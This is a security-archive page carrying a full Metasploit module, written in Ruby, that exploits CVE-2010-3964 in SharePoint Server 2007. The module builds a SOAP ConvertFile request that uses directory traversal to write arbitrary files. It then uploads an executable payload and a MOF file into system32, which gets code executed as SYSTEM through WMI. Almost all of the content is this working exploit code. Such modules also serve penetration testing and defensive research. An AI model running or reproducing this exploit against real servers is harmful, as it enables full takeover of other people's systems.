what you don't know can hurt you

Microsoft Office SharePoint Server 2007 Remote Code Execution

Microsoft Office SharePoint Server 2007 Remote Code Execution
Posted Jul 30, 2012
Authored by James Burton, juan, Oleksandr Mirosh | Site metasploit.com

This Metasploit module exploits a vulnerability found in SharePoint Server 2007 SP2. The software contains a directory traversal, that allows a remote attacker to write arbitrary files to the filesystem, sending a specially crafted SOAP ConvertFile request to the Office Document Conversions Launcher Service, which results in code execution under the context of 'SYSTEM'. The module uses uses the Windows Management Instrumentation service to execute an arbitrary payload on vulnerable installations of SharePoint on Windows 2003 Servers. It has been successfully tested on Office SharePoint Server 2007 SP2 over Windows 2003 SP2.

tags | exploit, remote, arbitrary, code execution
systems | windows
advisories | CVE-2010-3964, OSVDB-69817
MD5 | aecf7d89719f33bb3c548cb8e12e80ff

Microsoft Office SharePoint Server 2007 Remote Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec

def initialize
super(
'Name' => 'Microsoft Office SharePoint Server 2007 Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability found in SharePoint Server 2007 SP2. The
software contains a directory traversal, that allows a remote attacker to write
arbitrary files to the filesystem, sending a specially crafted SOAP ConvertFile
request to the Office Document Conversions Launcher Service, which results in code
execution under the context of 'SYSTEM'.

The module uses uses the Windows Management Instrumentation service to execute an
arbitrary payload on vulnerable installations of SharePoint on Windows 2003 Servers.
It has been successfully tested on Office SharePoint Server 2007 SP2 over Windows
2003 SP2.
},
'Author' => [
'Oleksandr Mirosh', # Vulnerability Discovery and PoC
'James Burton', # Vulnerability analysis published at "Entomology: A Case Study of Rare and Interesting Bugs"
'juan' # Metasploit module
],
'Platform' => 'win',
'References' =>
[
[ 'CVE', '2010-3964' ],
[ 'OSVDB', '69817' ],
[ 'BID', '45264' ],
[ 'MSB', 'MS10-104' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-287/' ]
],
'Targets' =>
[
[ 'Microsoft Office SharePoint Server 2007 SP2 / Microsoft Windows Server 2003 SP2', { } ],
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Dec 14 2010'
)

register_options(
[
Opt::RPORT(8082),
OptInt.new('DEPTH', [true, "Levels to reach base directory",7])
], self.class)
end

# Msf::Exploit::Remote::HttpClient is avoided because send_request_cgi doesn't get
# the response maybe due to the 100 (Continue) status response even when the Expect
# header isn't included in the request.
def upload_file(file_name, contents)

traversal = "..\\" * datastore['DEPTH']

soap_convert_file = "<SOAP-ENV:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" "
soap_convert_file << "xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" "
soap_convert_file << "xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\" "
soap_convert_file << "xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" "
soap_convert_file << "xmlns:clr=\"http://schemas.microsoft.com/soap/encoding/clr/1.0\" "
soap_convert_file << "SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" << "\x0d\x0a"
soap_convert_file << "<SOAP-ENV:Body>" << "\x0d\x0a"
soap_convert_file << "<i2:ConvertFile id=\"ref-1\" "
soap_convert_file << "xmlns:i2=\"http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface\">" << "\x0d\x0a"
soap_convert_file << "<launcherUri id=\"ref-3\">http://#{rhost}:8082/HtmlTrLauncher</launcherUri>" << "\x0d\x0a"
soap_convert_file << "<appExe id=\"ref-4\"></appExe>" << "\x0d\x0a"
soap_convert_file << "<convertFrom id=\"ref-5\">#{traversal}#{file_name}</convertFrom>" << "\x0d\x0a"
soap_convert_file << "<convertTo id=\"ref-6\">html</convertTo>" << "\x0d\x0a"
soap_convert_file << "<fileBits href=\"#ref-7\"/>" << "\x0d\x0a"
soap_convert_file << "<taskName id=\"ref-8\">brochure_to_html</taskName>" << "\x0d\x0a"
soap_convert_file << "<configInfo id=\"ref-9\"></configInfo>" << "\x0d\x0a"
soap_convert_file << "<timeout>20</timeout>" << "\x0d\x0a"
soap_convert_file << "<fReturnFileBits>true</fReturnFileBits>" << "\x0d\x0a"
soap_convert_file << "</i2:ConvertFile>" << "\x0d\x0a"
soap_convert_file << "<SOAP-ENC:Array id=\"ref-7\" xsi:type=\"SOAP-ENC:base64\">#{Rex::Text.encode_base64(contents)}</SOAP-ENC:Array>" << "\x0d\x0a"
soap_convert_file << "</SOAP-ENV:Body>" << "\x0d\x0a"
soap_convert_file << "</SOAP-ENV:Envelope>" << "\x0d\x0a"

http_request = "POST /HtmlTrLauncher HTTP/1.1" << "\x0d\x0a"
http_request << "User-Agent: Mozilla/4.0+(compatible; MSIE 6.0; Windows 5.2.3790.131072; MS .NET Remoting; MS .NET CLR 2.0.50727.42 )" << "\x0d\x0a"
http_request << "Content-Type: text/xml; charset=\"utf-8\"" << "\x0d\x0a"
http_request << "SOAPAction: \"http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface#ConvertFile\"" << "\x0d\x0a"
http_request << "Host: #{rhost}:#{rport}" << "\x0d\x0a"
http_request << "Content-Length: #{soap_convert_file.length}" << "\x0d\x0a"
http_request << "Connection: Keep-Alive" << "\x0d\x0a\x0d\x0a"

connect
sock.put(http_request << soap_convert_file)
data = ""
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
disconnect
return data
end

# The check tries to create a test file in the root
def check

peer = "#{rhost}:#{rport}"
filename = rand_text_alpha(rand(10)+5) + '.txt'
contents = rand_text_alpha(rand(10)+5)

print_status("#{peer} - Sending HTTP ConvertFile Request to upload the test file #{filename}")
res = upload_file(filename, contents)

if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/m_ce>/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def exploit

peer = "#{rhost}:#{rport}"

# Setup the necessary files to do the wbemexec trick
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
exe = generate_payload_exe
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
mof = generate_mof(mof_name, exe_name)

print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")
res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)
if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/m_ce>/
print_good("#{peer} - #{exe_name} uploaded successfully")
else
print_error("#{peer} - Failed to upload #{exe_name}")
return
end

print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")
res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
if res and res =~ /200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/m_ce>/
print_good("#{peer} - #{mof_name} uploaded successfully")
else
print_error("#{peer} - Failed to upload #{mof_name}")
return
end

end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    12 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    16 Files
  • 22
    May 22nd
    13 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close